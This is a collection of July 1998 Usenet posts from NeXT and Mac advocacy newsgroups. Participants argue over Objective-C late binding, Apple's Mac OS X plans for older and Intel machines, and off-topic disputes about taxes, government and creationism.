References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se> <6nakg1$r2h$15@ns3.vrx.net> <6o2e5p$q2u$1@news.cs.tu-berlin.de> <1dbwpln.1hul373c7z78eN@dialup207-3-17.swipnet.se> <6o32eu$ljg1@odie.mcleod.net>
Organization: pv
Date: Thu, 09 Jul 1998 19:14:01 GMT
NNTP-Posting-Date: Thu, 09 Jul 1998 21:14:01 MET DST
Michelle L. Buck <buck.erik@mcleod.net> wrote:
> Static/strong typing and LATE binding or not the same issue.
Yes, that is what I said.
> The Objective-C compiler can determine for sure that a specified receiver of
> a message can respond. It can not know for sure that the receiver can NOT
> respond and therefore produces a warning rather than an error as a C++
> compiler would.
>
> Objective-C postpones binding until runtime. C++ by specification has bound
> all member function invocations at link time.
No. The set of possible functions, but not the actual function. This is
selected at runtime (assuming virtual).
> If you do not know what the
> advantages of LATE binding are, I suggest further investigation. Binding
> time has little or no impact of code maintainability except the positive
> impact derived from fewer classes and simpler design.
I do know. This is opinion and I have another opinion. It's all about
tradeoffs. You sacrifice something to gain something else. You consider
one thing important, I another. Opinion.
--
Lars Farm; lars.farm@ite.mh.se - Limt/Channelmatic: lars.farm@limt.se
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 9 Jul 1998 21:18:37 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6o3c3d$42v$1@camel19.mindspring.com>
References: <359A90F9.A546707D@alum.mit.edu> <35A5140D.F96A1F3F@ericsson.com> <6o349q$dt7$3@lwnws01.ne.highway1.com> <35A51590.E1CBC9A1@ericsson.com>
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In article <slrn6q8o8s.399.sal@panix3.panix.com> Salvatore Denaro,
sal@panix3.panix.com writes:
>On 7 Jul 1998 23:22:14 GMT, Matthew Cromer <matthew_cromer@iname.com> wrote:
>>Ok, now you defend sales taxes.
>
>And build your own stuff out of raw material if you are opposed to sales
>tax.
Obviously that is one way to avoid it, but why does a government have the
right to a cut of the take every time two people decide to exchange value
for value? The problem with your solution is that it discards the
orders-of-magnitude productivity increase from specialization.
>
>>Explain why sales and other taxes are
>>moral.
>
>Define "moral". Why are taxes morally wrong? (Hint: morals are subjective)
Moral, 3rd meaning from the Mirriam-Webster dictionary
c : conforming to a standard of right behavior
You seem to be saying that right and wrong are subjective--I
wholeheartedly disagree.
In other words, it is wrong for one band of people to demand payment
from an individual or group, regardless of whether the band of people is
a mafia or a gang or a government.
No group of people gains special rights just because some of them "vote"
for an individual or policy.
If there were five of us on a life raft and three of us voted to kill one
and eat him, would that be moral?
If the people in your cul-de-sac voted to appropriate your property, raze
your home, and plant elderberries to raise their property values, does
that moral?
The same principle applies to larger groups as well.
>
>>Explain why Michael should pay property tax to teach children in
>>public schools things he finds morally wrong.
>
>So move to a community where the schools teach what you consider "moral"
>last time I checked, home schooling was legal and the government provides
>vouchers (in some states, IIRC) to pay some of the expenses incurred in
>home schooling.
Since I believe in individual rights, including property rights, and not
"community rights", I really don't find the "community" to have any
particular business in what my wife and I teach our children.
As for home schooling, we are doing that.
As for "vouchers" for home schools or other schools, I think the best
solution is not to have the government involved in the first place. With
government money comes immoral taxation and then strings controlling the
money.
Matthew Cromer
>
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Loose end
Date: Thu, 9 Jul 1998 16:13:19 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6o3bs1$ljg5@odie.mcleod.net>
References: <6o1676$hfk@newsb.netnews.att.com> <35A43A82.D4027971@nstar.net>
>> Regarding the distribution of wealth in the US, circa 1992 :
>> http://research.mpls.frb.fed.us/research/qr/qr2121.pdf
>>
>> lowest fifth : 0.39% of the total
>> second fifth : 1.74%
>> third fifth : 5.72%
>> fourth fifth : 13.43%
>> top fifth : 79.49%
>>
>> The above reference also discusses income and earnings distributions.
>
I read the entire report and found it fascinating! The most important
determinant of earnings and income but not wealth is business profits.
Business owners who have a bad year account for most of the lowest fifth and
visa versa according to the report. This is further skewed by the fact that
negative earnings and income are in included in the tables thus placing a
retired person with lots of wealth but no income well below a working poor
person. It would be interesting to see the same figures for after tax
income and earnings.
The average age of the lowest fifth is 62.5 years old with a household size
of 1.5 people and more than 200,000 in wealth. These sound like retired
people with houses to me. The "poor" people show up in the second fifth in
the study and they have an average household income of 22,000 per years and
2.5 people. That is certainly a living wage. The study tells me that
economic policy is just fine and nothing should be changed.
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 9 Jul 1998 21:21:44 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6o3c98$jrg$1@camel19.mindspring.com>
References: <359A90F9.A546707D@alum.mit.edu> <x5ap1.3098$24.17873337@news.itd.umich.edu> <6o3aqt$bat$1@camel15.mindspring.com> <6o3a4j$bt4$1@nnrp1.dejanews.com>
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In article <x5ap1.3098$24.17873337@news.itd.umich.edu> ,
not@my.address.net writes:
>If his political opinions are intensely personal, he doesn't have to be posting
>them to usenet. On the other hand it's really lame to emphatically claim that
>you have a rational fear the government is out to murder you, and then get upset
>if someone wants to pursue the implications of that position.
Noone claimed that this government is presently about to murder them.
The claim was that governments are inherently dangerous, and tend to from
time to time murder vast numbers of people.
No why don't you go distort and warp something else I wrote, and put even
more words in my mouth.
Matthew Cromer
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 9 Jul 1998 21:24:12 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6o3cds$jrg$2@camel19.mindspring.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6o32lm$ss4$1@nnrp1.dejanews.com> <rmcassid-0907981204040001@dante.eng.uci.edu> <6o36p0$oa7@eccws1.dearborn.ford.com>
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In article <B1C94F48-5412C@206.165.43.204> Lawson English,
english@primenet.com writes:
>Here's another interesting statistic: The Carbon API will only run on
>PowerMacs. That means that Apple's cutting-edge text technology will only
>run on 1/2 of its installed base, at best.
>
>OTOH, GX typography is the basis of ATSUI and runs on 32-bit Macintosh ever
>built.
>
>If Apple were to port ATSUI back to GX and make GX part of the Carbon API,
>how many computers would this graphics engine run on?
>
>And yet they won't do that.
>
>Why
Lawson, Apple is such a bunch of scum, if they really gave a hoot they
would port MacOS X to the Apple II platform.
I can't imagine why they won't do that.
Matthew Cromer
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 9 Jul 1998 14:22:02 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1CA8289-DD84@206.165.43.167>
References: <6o14ca$b2i$1@news12.ispnews.com>
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
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Re: OS X: Installed base of only 750,000 G3 systems? said:
>
>
>Yeah, but you're thinking like a customer, not a business. The
>business thinking (whether right or wrong) is, "Q: How do we
>sell more than 'only 750,000' G3 computers? A: Make people
>using older ones have to buy a new one to use the new OS
>that we'll be hyping heavily." Since Apple makes a lot more
>money selling the hardware than OS upgrades, the economics
>say that they have more to gain by getting those older users
>to buy a G3 than they stand to lose by not making 50 bucks
>on each OS X upgrade sale to non-G3 Mac users.
DO they make more money?
Sure, if everyone buys the upgrade all, but not everyone is going to -at
least not all at once. Well over 1 million people bought MacOS 8/8.1 as an
upgrade. That more than paid for itself and ensured a lock on future
upgrades for Apple (I'm pretty sure that anyone that just bought 8.1 is
planning on getting a new Mac and not a new PC, next time around).
Your scenario only makes sense if Apple is planning on abandoning the
Macintosh sometime soon and going with something else. Otherwise, it is
just plain short-sighted greed.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 9 Jul 1998 14:27:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1CA83C4-12781@206.165.43.167>
References: <kindall-0907981344480001@nic-c41-094.mw.mediaone.net>
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
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Jerry Kindall <kindall@mail.manual.com> said:
>Apple is saying that Mac OS X may run on my machine but not be supported.
>If that becomes a problem, I will not have any particular problem
>springing for a new machine. They have earned my loyalty time and again
>by allowing me to upgrade my current machine. I can only hope that my
>next Mac will have as long a useful lifespan as my 7500.
But what about when you try to SELL your 7500? Who will buy it and what new
owner of your old machine will trust Apple to continue to make a decent OS
for older machines when they've abandoned a 4-year-old machine?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.powerpc.advocacy
Subject: Multi-threaded PowerPC
Date: 9 Jul 1998 21:22:53 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6o3cbd$o1k@newsb.netnews.att.com>
Originator: gupta@tlctest
The recent IBM 1 GHz PowerPC demo hogged the news, but in the
same conference, another interesting IBM paper was presented.
http://www.sscs.org/isscc/1998/ap/FP15.htm
A Commercial Multi-Threaded RISC Processor
which is a PowerPC with instruction stream multi-threading
(two threads).
http://www.sscs.org/isscc/1998/press/digital.htm
says that "This year ISSCC has a paper describing the
first microprocessor implementing a mainstream architecture
(the PowerPC) with coarse-grain multithreading. Coarse
grain multithreading hides the delays caused by data fetches
from memory by switching between 2 or more program threads."
This is multithreading supported in hardware.
Further meaningful info. I could not find anywhere else.
-arun gupta
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 9 Jul 1998 14:29:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1CA843B-1438B@206.165.43.167>
References: <6o322n$crr$1@lwnws01.ne.highway1.com>
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
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John Kheit <jkheit@mediaone.net> said:
>UG! As I am using this on an Intel machine running OPENSTEP 4.2, and
>cannot
>use real-audio, would someone please post a transcript of the important
>bits?
Q) Why no floppy?
A) We're forward-looking -use e-mail if you must take a file that would fit
on a floppy home with you.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Free (Microsoft Delays Win NT)
Date: 9 Jul 1998 21:30:51 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6o3cqb$o21@newsb.netnews.att.com>
References: <359A90F9.A546707D@alum.mit.edu> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.co <6o3a4j$bt4$1@nnrp1.dejanews.com>
Originator: gupta@tlctest
Michael Peck <Michael.Peck@ericsson.com> wrote:
>
>> See if it's possible to publish a paper with the thesis "Einstein was wrong
>> about relativity" and expect thoughtful review by your peers in the
>> community of science.
>
>I already gave an URL where recent work has overturned some of Einstein's
>published papers (EPR).
Sorry, all, but this is irresistable :
http://xxx.lanl.gov/ps/gr-qc/9805067
Title : Can general-relativistic description of gravitation be
considered complete ?
Author : D.V.Ahluwalia
Comments : Essay awarded "Honorable mention" by Gravity Research
Foundation (1998). The answer to the question posed in the
title is an experimentally verifiable "no".
Journal ref: Mod. Phys. Lett., A13, 1998, 1393-1400
There is a discussion of the paper on sci.physics.research, with
remarks by Greg Egan that should make the story clearer for non-physicists,
under the subject "Gravitation and neutrino oscillations" or something close.
-arun gupta
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Microsoft Delays Win NT
Newsgroups: comp.sys.next.advocacy
References: <359A90F9.A546707D@alum.mit.edu> <35A5140D.F96A1F3F@ericsson.com> <6o349q$dt7$3@lwnws01.ne.highway1.com> <35A51590.E1CBC9A1@ericsson.com> <6o3aqt$bat$1@camel15.mindspring.com>
Distribution: world
Message-ID: <35a5371d.0@news.depaul.edu>
Date: 9 Jul 98 21:33:17 GMT
Matthew Cromer <matthew_cromer@iname.com> wrote:
> No, I don't.
> But even the early presidents like Washington knew that government was
> seriously dangerous to liberty, something no president today would ever
> say. Except maybe Ronald Reagan.
Doubtful. Reagan seems to be benefiting from the same beatification
and myth-making which normally happens posthumously.
There's also that annoying tendency for the right to simutaneouly
tout smaller government and more intrusive government. It tends
to work out to less regulation for business, but more restrictions
on the individual.
--
"... and subpoenas for all." - Ken Starr
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 9 Jul 1998 21:46:16 GMT
Organization: I don't think so
Message-ID: <slrn6qaepp.ki5.jason@jhste1.dyn.ml.org>
References: <6o322n$crr$1@lwnws01.ne.highway1.com> <B1CA843B-1438B@206.165.43.167>
Lawson English posted the following to comp.sys.mac.advocacy:
>Q) Why no floppy?
>A) We're forward-looking -use e-mail if you must take a file that would fit
>on a floppy home with you.
Funny - I've been dealing with a law firm for the last couple of days
that has email, but has no idea how to deal with receiving attachments.
They _insisted_ on a floppy, despite the inconvenience of getting the
damn thing.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: schuerig@acm.org (Michael Schuerig)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Free (Microsoft Delays Win NT)
Date: Thu, 9 Jul 1998 23:49:47 +0200
Organization: Completely Disorganized
Message-ID: <1dbx70a.1wrw8je12l3kw0N@rhrz-isdn3-p54.rhrz.uni-bonn.de>
References: <359A90F9.A546707D@alum.mit.edu> <359A9359.984C1A9D@exu.ericsson.se> <6ne590$238@shelob.afs.com> <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B23CC.8672B274@trilithon.com> <joe.ragosta-0207980828430001@wil46.dol.net> <359B92BB.8BCF78CC@nstar.net> <joe.ragosta-0207981153310001@wil55.dol.net> <359BB732.66127BE@exu.ericsson.se> <joe.ragosta-0207981315530001@wil82.dol.net> <359BF904.AB972774@exu.ericsson.se> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.com> <slrn6prd12.ovd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <359DE494.B5F41988@nstar.net> <1dbndwa.gvcd5ht4ekf6N@hoorn17.multiweb.net> <359E65C0.77C48BC9@nstar.net> <6nrjao$bnb$1@news.spacelab.net> <35A18478.E8BE0DFD@nstar.net> <6o0b9j$nij$1@news.spacelab.net> <35A407FC.2184A3B4@ericsson.com>
Mail-Copies-To: never
Michael Peck <Michael.Peck@ericsson.com> wrote:
> My position has been that the existence of a Creator is made plain in
> irrefutable evidence through his very Creation, in which we, ourselves,
> exist. No, you cannot provide evidence which I would consider to refute
> the first proposition, if only because I do not believe you will be able
> to provide evidence that the Creation does not exist!
If the existence of a Creator is indeed made plain in irrefutable
evidence -- why, then, don't I see it? What am I missing?
Your belief is un-reasonable in that there's no way to communicate it
using reason alone. In the end you've got to rely on faith.
Michael
--
Michael Schuerig
mailto:schuerig@acm.org
http://www.uni-bonn.de/~uzs90z/
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Thu, 09 Jul 1998 16:51:52 -0500
Organization: Ericsson North America Inc.
Message-ID: <35A53B78.702D302A@ericsson.com>
References: <359A90F9.A546707D@alum.mit.edu> <35A5140D.F96A1F3F@ericsson.com> <6o349q$dt7$3@lwnws01.ne.highway1.com> <35A51590.E1CBC9A1@ericsson.com> <6o3aqt$bat$1@camel15.mindspring.com> <35a5371d.0@news.depaul.edu>
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Jonathan W Hendry wrote:
> Doubtful. Reagan seems to be benefiting from the same beatification
> and myth-making which normally happens posthumously.
>
> There's also that annoying tendency for the right to simutaneouly
> tout smaller government and more intrusive government. It tends
> to work out to less regulation for business, but more restrictions
> on the individual.
Exactly. It has been said that Republicans and Democrats are the same
political party: they both believe in seizing power, they just disagree
on the target of said power. After all, what's the use of power if you
don't use it on somebody?
Go read some party literature (either party) and find out what they're
saying about the election in 2000. Are they talking about moral stands,
important issues? The Republicans aren't, anyway. They're talking about
"getting back the White House". Hmmm, something is amiss.
Which is not to say that Democrats are better; they aren't. It's just to
say that it's difficult to be partisan when parties by definition are
power-seeking entities.
MJP
Date: Thu, 09 Jul 1998 13:58:47 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-0907981358480001@wil97.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <joe.ragosta-0907981128510001@wil114.dol.net> <kindall-0907981347280001@nic-c41-094.mw.mediaone.net>
In article <kindall-0907981347280001@nic-c41-094.mw.mediaone.net>,
kindall@mail.manual.com (Jerry Kindall) wrote:
> In article <joe.ragosta-0907981128510001@wil114.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > Unless you've learned something very recent, this statement is wrong. The
> > last that I heard, Rhapsody was the last version for Intel x86. Mac OS X
> > was specifically NOT going to run on x86.
>
> Of course Mac OS X will run on Intel, now that Apple has announced that
> the shipping product name for Rhapsody will be "Mac OS X Server." Of
> course, the PC won't have a Blue Box or Carbon, but it will have "Mac OS
> X."
My information was that Rhapsody (i.e. Mac OS X Server 1.0 or The OS
Formerly Known as CR1) would run on Intel. Mac OS X 2.0 (the version due
next year) will not.
I'd love for Mac OS X Server to continue on Intel past 1.0. I don't care
as much about the client version running on Intel, but the server is
important.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Thu, 09 Jul 1998 13:54:13 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Free (Microsoft Delays Win NT)
Message-ID: <joe.ragosta-0907981354130001@wil97.dol.net>
References: <359A90F9.A546707D@alum.mit.edu> <joe.ragosta-0207981946550001@elk59.dol.net> <35A43B75.726FC058@nstar.net> <6o2ich$kmt@newsb.netnews.att.com>
In article <6o2ich$kmt@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> Michael Peck <mjpeck@nstar.net> wrote:
>
> >No, being rational is drawing not incorrect conclusions from the
> >available data during the decision-making process. The fact that your
> >ability to collect evidence is finitely bounded, grossly incomplete, and
> >generally faulty in the first place makes "rational" decision-making on
> >human evidence correct usually only by accident.
>
> By what means did you come by your conclusions that there must be a Creator,
> that said Creator continuously intervenes in the universe, that
> evolution is wrong, that carbon dating is wrong, etc. ?
Actually, there's a very simple solution to that.
It is possible to believe in God while also believing that carbon dating
and so on give accurate results. All you have to do is believe that when
God created the universe 6,000 years ago he created it with the current
laws of physics, but created the fossil record intact to make it look like
the earth was billions of years old. He would also have created the earth
with all the isotope mixtures to make it look like the earth was billions
of years old (these would then continue to decay using the normal laws of
physics to show that the earth continues to age).
This is a completely self-consistent hypothesis which would support the
position of both scientists and creationists.
{In case anyone wants to try to read anything into this, I don't buy it. I
can't imagine why God would essentially set out to create a universe to
mislead us when we try to use our brains. }
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Thu, 09 Jul 1998 13:41:24 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-0907981341250001@wil97.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6o14ca$b2i$1@news12.ispnews.com> <beecee-ya02408000R0907981252270001@news.erols.com>
In article <beecee-ya02408000R0907981252270001@news.erols.com>,
beecee@erols.com (B. C. McKinney) wrote:
> In article <6o14ca$b2i$1@news12.ispnews.com>, "Zico"
> <ZicoKnows@hotmail.com> wrote:
>
> > Yeah, but you're thinking like a customer, not a business. The
> > business thinking (whether right or wrong) is, "Q: How do we
> > sell more than 'only 750,000' G3 computers? A: Make people
> > using older ones have to buy a new one to use the new OS
> > that we'll be hyping heavily." Since Apple makes a lot more
> > money selling the hardware than OS upgrades, the economics
> > say that they have more to gain by getting those older users
> > to buy a G3 than they stand to lose by not making 50 bucks
> > on each OS X upgrade sale to non-G3 Mac users.
>
> Ah, but they're failing to consider that some older customers, including me
> (14 years, during which purchased 7 Macs for me at home and work, more for
> other employees), are getting tired of this shit. Apple loses even more
> when I buy a Sony Vaio laptop. Don't tell me about the superiority of Mac
> OS-- when Apple thinks like a business like Microsoft, the advantages
> become a lot less compelling.
>
> I suggest that everyone who owns a PCI Power Mac or compatible make their
> opinions known to Apple now. They claim to be "listening to the customer."
Please do so. The best place to write is <leadership@apple.com>. There's
also a web page somewhere collecting signatures, but I can't remember the
URL.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: kindall@mail.manual.com (Jerry Kindall)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 09 Jul 1998 18:08:51 -0400
Organization: Manual Labor
Message-ID: <kindall-0907981808510001@nic-c41-094.mw.mediaone.net>
References: <kindall-0907981344480001@nic-c41-094.mw.mediaone.net> <B1CA83C4-12781@206.165.43.167>
In article <B1CA83C4-12781@206.165.43.167>, "Lawson English"
<english@primenet.com> wrote:
> Jerry Kindall <kindall@mail.manual.com> said:
>
> >Apple is saying that Mac OS X may run on my machine but not be supported.
> >If that becomes a problem, I will not have any particular problem
> >springing for a new machine. They have earned my loyalty time and again
> >by allowing me to upgrade my current machine. I can only hope that my
> >next Mac will have as long a useful lifespan as my 7500.
>
> But what about when you try to SELL your 7500? Who will buy it and what new
> owner of your old machine will trust Apple to continue to make a decent OS
> for older machines when they've abandoned a 4-year-old machine?
After four years, it's fully depreciated anyway.
--
Jerry Kindall mailto:kindall@mail.manual.com Technical Writing
Manual Labor http://www.manual.com Web Design, etc.
MWJ, the Weekly Journal for Serious Mac Users http://www.gcsf.com
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 9 Jul 1998 22:13:40 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6o3fak$13e$3@news.spacelab.net>
References: <359A90F9.A546707D@alum.mit.edu> <35A4DC62.536B8581@nstar.net> <6o2qdi$lkg@newsb.netnews.att.com> <35A4FA60.FF826332@ericsson.com> <6o2v1s$m99@newsb.netnews.att.com> <35A5140D.F96A1F3F@ericsson.com>
Michael Peck <Michael.Peck@ericsson.com> wrote:
[ ... ]
>Ah, but now the question is a question of evidence, since the
>rationality of my conclusions is not in question. I have never been able
>to produce evidence that government is useful; your evidence may vary.
Assuming you live in the USA:
Ever drive on the interstate highway system?
Ever eat food or use prescription drugs? (The FDA makes mistakes once in a
great while, agreed, but it does pretty well making sure that people don't
get sick or die from such things.)
Ack-- I think I need to stop reading or responding to this noise; it's a
waste of time....
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Thu, 09 Jul 1998 17:36:13 -0500
Organization: Ericsson North America Inc.
Message-ID: <35A545DD.567CAFC@ericsson.com>
References: <359A90F9.A546707D@alum.mit.edu> <35A4DC62.536B8581@nstar.net> <6o2qdi$lkg@newsb.netnews.att.com> <35A4FA60.FF826332@ericsson.com> <6o2v1s$m99@newsb.netnews.att.com> <35A5140D.F96A1F3F@ericsson.com> <6o3fak$13e$3@news.spacelab.net>
Mime-Version: 1.0
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Charles W. Swiger wrote:
> Assuming you live in the USA:
>
> Ever drive on the interstate highway system?
Ever drive on a toll road? They're much nicer.
> Ever eat food or use prescription drugs? (The FDA makes mistakes once in a
> great while, agreed, but it does pretty well making sure that people don't
> get sick or die from such things.)
Ever had a relative who died because the FDA make it illegal to procure
the life-saving cure (in common use in Europe, of course)?
> Ack-- I think I need to stop reading or responding to this noise; it's a
> waste of time....
Why make public apologies for a post you haven't sent, yet? Just
curious.
MJP
From: smileyy@ix.netcom.com (Andrew McCormick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 09 Jul 1998 18:34:12 -0400
Organization: Netcom
Message-ID: <smileyy-0907981834120001@cin-oh2-25.ix.netcom.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <joe.ragosta-0907981128510001@wil114.dol.net> <kindall-0907981347280001@nic-c41-094.mw.mediaone.net> <joe.ragosta-0907981358480001@wil97.dol.net>
yO|mu63W9l,<&>Elu}#LIobQ32F
In article <joe.ragosta-0907981358480001@wil97.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
>I'd love for Mac OS X Server to continue on Intel past 1.0. I don't care
>as much about the client version running on Intel, but the server is
>important.
Yellow Box for Windows is much more important than Mac OS Server.
Andrew McCormick
--
smileyy@ix.netcom.com
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Free (Microsoft Delays Win NT)
Newsgroups: comp.sys.next.advocacy
References: <359A90F9.A546707D@alum.mit.edu> <359BB732.66127BE@exu.ericsson.se> <joe.ragosta-0207981315530001@wil82.dol.net> <359BF904.AB972774@exu.ericsson.se> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.com> <slrn6prd12.ovd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <359DE494.B5F41988@nstar.net> <1dbndwa.gvcd5ht4ekf6N@hoorn17.multiweb.net> <359E65C0.77C48BC9@nstar.net> <35a29bca.10515777@news.hex.net> <35A2A96A.4C492F62@ericsson.com>
Message-ID: <35a547d8.0@news.depaul.edu>
Date: 9 Jul 98 22:44:40 GMT
Michael Peck <Michael.Peck@ericsson.com> wrote:
> Peter Koren wrote:
> > Evolution is a process that thrives on the edge of chaos. It
> > is so powerful that bright folks are stealing some of its
> > methods to design things and processes. I just saw an
> > article about using genetic algorithms to design FPGAs.
> I've got a friend who loves to talk about this; he thinks it's the
> future of computer science.
> Anyway, you say that evolution thrives on the edge of chaos; what's
> chaotic about a genetic algorithm? I thought algorithms were ordered.
The order itself is chaotic, with the steps and operations
arranged depending on the outcomes of various evolution-like
processes.
> > The
> > evolutionary process took advantage of the parasitics on the
> > chip, suprising the experimenters, to design a highly
> > successful filter, which the experimenters could not explain
> > because of the complexity of the non-linearities. These
> > designers created a combined analog-digital FPGA because a
> > simplified evolutionary algorithm could invent "clever"
> > constructs without even being told how. Einstein was wrong.
> Uh, no. The fact that the level of complexity inherent to the solution
> was beyond human ability to describe by no means demonstrates that
> either the algorithm or the solution was chaotic. If a man randomly puts
> dots onto the screen in the classic game of life and finds that,
> according to the rules of the game, certain patterns "evolve" into
> stable "lifeforms", would you say that the man's chaotic data entry was
> an example of chaos rising into order? Or would you instead say that a
> created order simply dictated random input in ordered ways, and that
> some input happened to result in stability because of that created
> order?
The original placement is *not* the only random factor. There are
random mutation processes. Also, chromosomes are crossed at a
random point. If a chromosome is represented by an array of
100 values, two chromosomes will be crossed by swapping all
elements from 'n' to the end. Chromosome A has its elements
[n..100] swapped with the corresponding elements from Chromosome
B. The resulting chromosomes are a new 'generation' and are then
evaluated for fitness. Repeat, but with more than just two
starting chromosomes, and discard the chromosomes which don't
perform well.
Repeat by thousands or millions of generations, and you'll end
up with a very chaotic development process.
> > Rubbish! In fact a Belgian physicist, Illya Prigogene, won a
> > Nobel Prize for describing the self organizing ability of
> > living systems within the restrictions of the laws of
> > thermodynamics.
> Your point? A group of flatworms with zero intelligence may have
> self-organizing ability, none of which demonstrates that such order
> arises spontaneously. There is fundamentally nothing to differentiate
> evolution from its precursor in science (spontaneous generation) except
> that its proponents have attached to it a number of discreet
> observations of existing order that, taken as a cohesive and holistic
> description of circumstances (they are anything but), are used to
> "prove" that life did, in fact, spontaneously arise from chaotic atoms.
Uh, no. Life arose from chemical reactions. Chemical reations are
guided by very definite rules, and some things are more likely that
others, unless you think that God is spending his time making iron
rust.
- Jon
--
